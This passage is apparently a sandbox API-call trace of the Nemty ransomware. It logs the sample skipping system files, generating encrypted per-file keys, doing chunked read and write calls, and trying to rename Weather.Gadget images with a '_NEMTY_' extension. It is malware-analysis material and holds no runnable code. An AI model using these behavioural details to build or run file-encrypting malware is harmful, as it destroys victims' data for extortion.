[0160.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340318 | out: hHeap=0x4f90000) returned 1 [0160.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0160.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0160.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340318 [0160.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0160.538] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-first-quarter.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-first-quarter.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0160.539] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0160.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0160.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.539] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.548] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.548] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.558] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.558] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.567] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.567] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.577] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.577] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.586] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.586] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.605] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.605] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.624] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.624] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.633] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.633] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.639] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.645] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.645] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340318, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0160.646] CloseHandle (hObject=0xffffffff) returned 0 [0160.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340488 [0160.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0160.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0160.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0160.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0160.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0160.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0160.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63440c0 [0160.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0160.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0160.646] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-first-quarter.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-first-quarter.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-first-quarter.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-first-quarter.png._nemty_kgobjgd_")) returned 0 [0160.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0160.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0160.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0160.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340318 | out: hHeap=0x4f90000) returned 1 [0160.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0160.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0160.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0160.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0160.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0160.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0160.646] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87148543, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87148543, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b03876f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2ace, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_moon-first-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0160.646] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2=".") returned 1 [0160.646] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="..") returned 1 [0160.646] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="...") returned 1 [0160.646] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="windows") returned -1 [0160.646] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0160.646] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="rsa") returned -1 [0160.646] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="NTDETECT.COM") returned -1 [0160.647] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="ntldr") returned -1 [0160.647] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="MSDOS.SYS") returned -1 [0160.647] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="IO.SYS") returned -1 [0160.647] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="boot.ini") returned 1 [0160.647] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="boot.ini") returned 1 [0160.647] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0160.647] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="ntuser.dat") returned -1 [0160.647] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="desktop.ini") returned 1 [0160.647] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="CONFIG.SYS") returned 1 [0160.647] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="RECYCLER") returned -1 [0160.647] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0160.647] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="bootmgr") returned 1 [0160.647] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="programdata") returned -1 [0160.647] lstrcmpiW (lpString1="docked_black_moon-first-quarter_partly-cloudy.png", lpString2="appdata") returned 1 [0160.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0160.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-first-quarter_partly-cloudy.png", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0160.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0160.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-first-quarter_partly-cloudy.png", cchWideChar=49, lpMultiByteStr=0x6345da8, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-first-quarter_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 49 [0160.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0160.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340148 [0160.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-first-quarter_partly-cloudy.png", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0160.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0160.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-first-quarter_partly-cloudy.png", cchWideChar=49, lpMultiByteStr=0x6345da8, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-first-quarter_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 49 [0160.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0160.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340148 | out: hHeap=0x4f90000) returned 1 [0160.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0160.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0160.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-first-quarter_partly-cloudy.png", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0160.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0160.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-first-quarter_partly-cloudy.png", cchWideChar=49, lpMultiByteStr=0x6345da8, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-first-quarter_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 49 [0160.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0160.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0160.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-first-quarter_partly-cloudy.png", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0160.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0160.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-first-quarter_partly-cloudy.png", cchWideChar=49, lpMultiByteStr=0x6345d60, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-first-quarter_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 49 [0160.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0160.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63400d0 [0160.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0160.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63401c8 [0160.648] Sleep (dwMilliseconds=0x5) [0160.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1368b5d0, dwHighDateTime=0x1d561e8)) [0160.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1368b5d0, dwHighDateTime=0x1d561e8)) [0160.662] GetLastError () returned 0x5 [0160.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0160.662] GetLastError () returned 0x5 [0160.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0160.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0160.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0160.662] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0160.662] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0160.663] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0160.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402c0 [0160.663] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402c0, pcchString=0x653e91c | out: pszString="fFCiV6+oeBtjx+uFjtC5y+9oieFLK5r6L1sOcipPZPOc9O0vl2FTL3nuja890l/j\r\nEktdZLYQIZYBf/WyGxHKFcfLsuwEDFdri8gC30eBH4mH7P/ehdOzjVd1cP22LhzG\r\njAnLKLhTyMHmct3Hh5eq8OvYICKABiokL6ti7/BDc3OeEyyeq+bgKD6npIJnXSlH\r\n+laF3jXUP+Bn92kschuhXzd+00du/Aec9oddnyw7bmkL1f9vyqWqbJFUyxl73FNE\r\nmz6gYa7eiGInBW536a8NJ8kIyogl6Q9cxaZsugbBbZgYMRwZQBHn7ouCCT5hJdeL\r\nYBzV7o+rjp40vH4YTeB1Mg==\r\n", pcchString=0x653e91c) returned 1 [0160.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0160.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0160.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0160.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0160.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402c0 [0160.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0160.663] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-first-quarter_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-first-quarter_partly-cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0160.663] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0160.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0160.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.663] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, 